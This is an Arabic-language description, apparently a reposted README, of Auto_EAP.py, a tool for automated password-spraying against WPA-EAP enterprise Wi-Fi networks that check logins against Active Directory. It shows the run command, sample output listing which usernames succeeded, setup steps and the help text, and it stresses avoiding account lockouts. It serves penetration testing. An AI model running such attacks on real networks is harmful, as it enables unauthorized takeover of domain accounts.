tylous/auto_eapهجمات القوة العمياء الآلية لتسجيل الدخول ضد شبكات EAP.
######نُشر في 15 سبتمبر 2016
تم تصميم Auto_EAP.py لتنفيذ هجمات تخمين مصادقة آلية (brute-force) ضد أنواع مختلفة من شبكات EAP. توفر هذه الأنواع من الشبكات اللاسلكية واجهة لتسهيل تخمين كلمات المرور لبيانات اعتماد المجال (domain credentials) حيث تقوم خوادم radius بالتحقق من المصادقة مقابل Active Directory. باستخدام مكتبة Python wpaspy التي أنشأها [Jouni Malinen [email protected]] (https://github.com/jmalinen/hostap/tree/master/wpaspy) للتفاعل مع برنامج wpa_supplicant الخلفي (daemon)، يمكن تنفيذ هجمات مصادقة آلية بهدف عدم التسبب في إقفال الحسابات (account lock-outs).
./Auto_EAP.py -s HoneyPot -K WPA-EAP -E PEAP -U test.txt -p Summer2016 -i wlan0
Initialized...
Trying Username Alice with Password test: SUCCESS
Trying Username Bob with Password test: FAILED
Trying Username Charles with Password test: FAILED
Trying Username David with Password test: SUCCESS
Completed
قم بتشغيل 'RunMeFirst.py' داخل الدليل الجذر لـ Auto_EAP. سيقوم هذا بتجميع مكتبة wpaspy بالإضافة إلى إعداد ملف wpa_supplicant.conf مستقل يستخدمه Auto_EAP.py للاختبار، مع ترك ملف إعداد wpa_supplicant الخاص بالنظام دون تغيير.
./Auto_EAP.py -h
usage: Auto_EAP.py [-h] -i Interface -s SSID -U Usernamefile -p Password -K
Key_mgmt -E Eap_type
optional arguments:
-h, --help show this help message and exit
-i Interface, --interface Interface
The Interface to use
-s SSID, --ssid SSID The SSID to attack
-U Usernamefile, --User Usernamefile
Path to username file
-p Password, --password Password
Password to use
-K Key_mgmt, --key_mgmt Key_mgmt
Key_Management type to use
-E Eap_type, --eap_type Eap_type
Eap type to use